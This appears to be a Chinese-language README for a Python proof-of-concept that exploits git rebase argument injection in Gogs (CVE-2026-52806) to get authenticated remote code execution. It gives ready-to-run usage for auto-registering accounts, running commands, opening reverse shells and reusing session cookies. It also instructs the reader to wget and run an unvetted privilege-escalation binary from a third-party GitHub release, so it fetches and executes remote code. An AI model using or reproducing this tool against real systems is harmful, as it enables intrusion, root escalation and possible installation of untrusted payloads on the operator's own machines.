Gogs 通过 git rebase 中的参数注入实现 RCE(CWE-88)— Python PoC。CVE-2026-52806
git rebase 中的参数注入(CWE-88)通过拉取请求合并流程中的参数注入,对 Gogs(<= 0.14.2 和 0.15.0+dev)进行认证远程代码执行。
CVE-2026-52806
internal/database/pull.go 中的 Merge() 函数将 PR 基础分支名称传递给 git rebase 而没有使用 -- 分隔符。名为 --exec=<COMMAND> 的分支被 Git 解析为 --exec 标志,而不是位置参数,导致在变基期间每次重放提交后都会执行 sh -c <COMMAND>。
?v= 参数指纹版本,并检查用户注册是否开放、是否受验证码保护或已禁用。-u <用户名> -pw <密码> 重新运行。通过基本认证或 Web 设置页面创建 API 令牌。master 分支feature-* 分支--exec=sh${IFS}.payload 的恶意分支,其中包含一个脚本,可在后台运行攻击者的命令--exec= 分支发起一个 PR。merge_style=rebase_before_merging。Gogs 内部运行 git rebase --exec=sh${IFS}.payload,每次重放提交后执行载荷。requests(pip install requests)git 安装python3 gogs.py <目标> [选项]
python3 gogs.py http://目标:3000 --preflight-only
报告:
Registration: ENABLED (no captcha) — 可以自动注册Registration: ENABLED (CAPTCHA DETECTED) — 在目标注册页面上手动创建帐户,然后使用 -u / -pw 提供凭据Registration: DISABLED — 需要管理员的现有凭据# 自动注册 + 执行命令
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# 使用现有帐户
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# 反弹 shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# 启用验证码:在目标注册页面上创建帐户,然后使用凭据
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# 如果使用凭据登录失败,直接传递会话 cookie
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
一旦你在目标上获得 shell,Gogs 进程通常以低权限用户运行(例如 Docker 中的 git)。要尝试提权到 root,请从项目的发布页面下载并运行 lpe-toolkit 二进制文件:
# 从你的 shell 会话中:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
该工具包枚举内核漏洞、错误配置和其他常见的提权途径。
exploit/multi/http/gogs_rebase_rce,作者 Jonah Burgess(CryptoCat)(PR #21515)qf6p-p7ww-cwr9(gogs/gogs)此 Python PoC 灵感来自已发布的 Metasploit 模块。该漏洞由 Rapid7 的 Jonah Burgess(CryptoCat)发现并负责任的披露。
此工具仅用于教育目的和授权安全测试。未经授权对不属于你或未经明确许可测试的系统使用是非法的。作者不对因使用本软件造成的任何误用或损害负责。
Gogs API 不支持令牌删除,因此在利用期间创建的任何 API 访问令牌将持续存在,必须手动在目标实例的 /user/settings/applications 处删除。
| 标志 | 描述 |
|---|
target | 主机[:端口](例如 47.109.58.140:9000) |
-p, --port | HTTP 端口(默认:3000) |
-u, --username | Gogs 用户名 |
-pw, --password | Gogs 密码 |
--cookie | 会话 cookie 字符串 |
--cmd | 在目标上执行的命令 |
--listener | 反弹 shell 的 主机:端口 |
--lhost / --lport | 反弹 shell 的主机和端口 |
--ssl | 使用 HTTPS |
--preflight-only | 仅运行预检检查 |